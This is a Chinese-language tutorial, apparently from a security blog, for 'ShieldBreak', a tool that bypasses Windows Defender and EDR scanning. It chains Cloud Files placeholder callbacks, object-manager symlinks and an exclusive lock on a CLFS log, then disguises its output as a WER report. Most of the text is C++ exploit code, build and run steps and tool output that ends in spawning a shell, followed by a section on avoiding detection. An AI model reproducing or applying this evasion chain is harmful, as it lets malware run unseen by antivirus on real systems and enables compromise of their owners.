简介
利用 Windows 云同步机制 + CLFS 日志锁定,让 Defender 扫描一个被锁定的空日志,而你的 payload 在另一边安静运行。
阅读前 你需要先了解以下概念
为什么能绕过 EDR?
主流 EDR 的工作方式是在文件被访问时触发扫描回调。但 ShieldBreak 展示了三个关键绕过点:
扫描路径欺骗 - 让 Defender 扫描一个被锁定的 CLFS 日志,而非真实 payload
数据流替换 - 通过 Cloud Files 回调,在 Defender 读取时动态返回恶意数据
伪装输出 - 最终产物伪装成 WER 错误报告,规避文件类型检测
攻击流程图
上图展示了从注册云同步提供程序到最终绕过 Defender 的完整链路。
技术原理详解
第一步:注册云同步提供程序
Cloud Files API 允许第三方注册云同步提供程序,拦截文件访问请求。这是整个免杀链的基础。
步骤一:创建临时工作目录
std::wstring workdir = L"C:\\ShieldBreak_{GUID}";
// 设置全局权限,确保 Defender 可以访问步骤二:注册提供程序
GUID ProviderId;
CLSIDFromString(L"{B196E670-59C7-4D41-9637-C62D80541321}", &ProviderId);
CF_SYNC_REGISTRATION reg = { 0 };
reg.ProviderName = L"Flubber";
reg.ProviderVersion = L"1.0";
reg.ProviderId = ProviderId;
// 注册策略:允许硬链接 + 完全 hydration
CF_SYNC_POLICIES policies = { 0 };
policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
policies.Hydration.Primary = CF_HYDRATION_POLICY_FULL;步骤三:创建占位符文件
CF_PLACEHOLDER_CREATE_INFO place_holders[1] = { 0 };
place_holders[0].RelativeFileName = L"BERLIN";
place_holders[0].FsMetadata.FileSize.QuadPart = dwSize_zip; // 设置文件大小
place_holders[0].Flags = CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE | CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC;
CfCreatePlaceholders(workdir.c_str(), place_holders, 1, CF_CREATE_FLAG_NONE, &pentries);关键点:此时 BERLIN 文件只是一个占位符,实际内容尚未写入磁盘。
第二步:创建对象管理器符号链接
步骤一:创建受限目录
// 目标目录:存放真实文件
std::wstring targetobjdirpath = L"\\BaseNamedObjects\\Restricted\\WD_TARGET_{GUID}";
ObjectDirMgr* targetdir = new ObjectDirMgr((wchar_t*)targetobjdirpath.c_str());
// 阴影目录:用于重定向扫描路径
std::wstring shadowobjdirpath = L"\\BaseNamedObjects\\Restricted\\WD_SHADOW_{GUID}";
ObjectDirMgr* shadowdir = new ObjectDirMgr((wchar_t*)shadowobjdirpath.c_str(), targetdir->GetHandle());步骤二:创建符号链接
// 链接 WD_SCAN -> C:\ShieldBreak_{GUID}
ObjectSymlinkMgr* shlnk = new ObjectSymlinkMgr(L"WD_SCAN", ntworkdir.c_str(), shadowdir->GetHandle());
// 链接 CLFS 日志路径
std::wstring mnlnktarget = L"\\CLFS\\??\\" + workdir;
ObjectSymlinkMgr* mnlnk = new ObjectSymlinkMgr(L"WD_SCAN", mnlnktarget.c_str(), targetdir->GetHandle());关键点:通过对象管理器符号链接,可以隐藏真实文件位置,并重定向 Defender 的扫描路径。
第三步:触发 Defender 扫描
步骤一:启动独立扫描线程
// 在独立线程中启动 Defender 扫描
HANDLE hthread = CreateThread(NULL, NULL, WDStartScan, NULL, NULL, &tid);
// 构造扫描路径(指向对象管理器中的符号链接)
std::wstring scan_path = L"\\\\.\\globalroot\\BaseNamedObjects\\Restricted\\WD_SHADOW_{GUID}\\WD_SCAN\\BERLIN";步骤二:监控目录变化
// 等待 Defender 创建 CLFS 日志文件
do {
retb = 0;
if (ReadDirectoryChangesW(hmonitor, buff, sizeof(buff), FALSE,
FILE_NOTIFY_CHANGE_FILE_NAME, &retb, NULL, NULL)) {
// 检测到新文件
break;
}
} while (1);第四步:锁定 CLFS 日志
步骤一:打开 CLFS 日志文件
std::wstring full_clfs_name = ntworkdir + L"\\" + std::wstring(nfilename);
HANDLE hclfs_file = NULL;
NtCreateFile(&hclfs_file, FILE_READ_DATA | SYNCHRONIZE, &_clfs_objattr, &iostat2, ...);步骤二:执行独占锁
LARGE_INTEGER li = { 0 };
li.QuadPart = MAXLONGLONG;
OVERLAPPED ovp = { 0 };
LockFileEx(hclfs_file, LOCKFILE_EXCLUSIVE_LOCK | LOCKFILE_FAIL_IMMEDIATELY,
NULL, li.LowPart, li.HighPart, &ovp);关键点:CLFS 日志被独占锁定后,Defender 无法访问该日志文件,扫描被阻断。
第五步:动态数据返回
Cloud Files 回调函数
void CALLBACK CLBK(
IN CONST CF_CALLBACK_INFO* CallbackInfo,
IN CONST CF_CALLBACK_PARAMETERS* CallbackParameters
) {
// 第一次回调:返回 eicar_com.zip 内容
if (*RNA == 1) {
opParams.TransferData.Buffer = pResourceData_zip;
opParams.TransferData.Length.QuadPart = dwSize_zip;
*RNA = 2;
}
// 第二次回调:返回 Warden.dll 内容
else {
opParams.TransferData.Buffer = pResourceData_dll;
opParams.TransferData.Length.QuadPart = dwSize_dll;
}
CfExecute(&opInfo, &opParams);
}关键点:当 Defender 尝试读取文件时,回调函数动态返回预置的恶意数据,而非磁盘上的实际内容。
第六步:伪装 WER 报告
步骤一:创建 WER 目录
wchar_t werdir[MAX_PATH];
wsprintf(werder, L"C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\Kernel_c0000000_A_B_C-C-D-E-%ws", mainguid);步骤二:创建伪装文件
wchar_t werfile[MAX_PATH];
wsprintf(werfile, L"%ws\\Report.wer", werdir);关键点:WER 报告目录是 Defender 的"白名单区域",通常不会进行深度扫描。
实战操作
准备环境 (目标机器)
验证环境
确认系统版本
winver确认 Defender 状态
Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled确认 CF API 可用性
Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\CloudFileSync编译与准备
步骤一:导入项目文件
ShieldBreak/
├── ShieldBreak.cpp # 主源码
├── Warden.dll # 测试 payload
├── eicar_com.zip # EICAR 测试样本
└── Report.wer # WER 报告模板步骤二:使用 Visual Studio 编译
# 打开 ShieldBreak.slnx
# 选择 Release x64 配置
# 编译生成 ShieldBreak.exe执行免杀利用
步骤一:运行工具
.\ShieldBreak.exe步骤二:观察输出
[+] C:\ShieldBreak_{GUID} was created.
[+] Cloud provider has been registered.
[+] Attached cloud provider to C:\ShieldBreak_{GUID}
[+] Placeholder created.
[+] \BaseNamedObjects\Restricted\WD_TARGET_{GUID} object manager directory created
[+] \BaseNamedObjects\Restricted\WD_SHADOW_{GUID} object manager directory created
[+] WD_SCAN <=> C:\ShieldBreak_{GUID} object link created
[+] Created C:\ShieldBreak_{GUID}\BERLIN
[+] Copied C:\Windows\System32\ntdll.dll => C:\ShieldBreak_{GUID}\BERLIN:stream
[*] Scan initiated for \\.\globalroot\BaseNamedObjects\Restricted\WD_SHADOW_{GUID}\WD_SCAN\BERLIN
[*] Please wait...
[+] Link deleted.
[+] CLFS log locked.
[+] C:\Windows\Temp\lsymlinktarget file locked.
[*] Attempting to spawn shell...
[+] Exploit succeeded.
[+] Powered by 七度光 | www.qdg.tw步骤三:验证绕过结果
检查 Defender 是否报警
Get-MpThreat | Where-Object {$_.CreationDate -gt (Get-Date).AddMinutes(-5)}检查 WER 目录
Get-ChildItem "C:\ProgramData\Microsoft\Windows\WER\" -Recurse检查 Cloud Files 注册
Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\CloudFileSync\Providers避免被检测
使用随机化名称
wchar_t mainguid[64] = { 0 };
GenerateGUID(mainguid);
// 每次使用不同的 GUID,增加基于文件名的检测难度利用 Defender 自身行为
ShieldBreak 通过触发 Defender 主动扫描来绕过监控,而不是直接修改 Defender 配置。这使得操作看起来像是 Defender 的正常行为。
利用 WER 目录的"可信"属性
wsprintf(werder, L"C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\Kernel_c0000000_A_B_C-C-D-E-%ws", mainguid);WER 目录是系统组件的"白名单区域",Defender 通常不会进行深度扫描。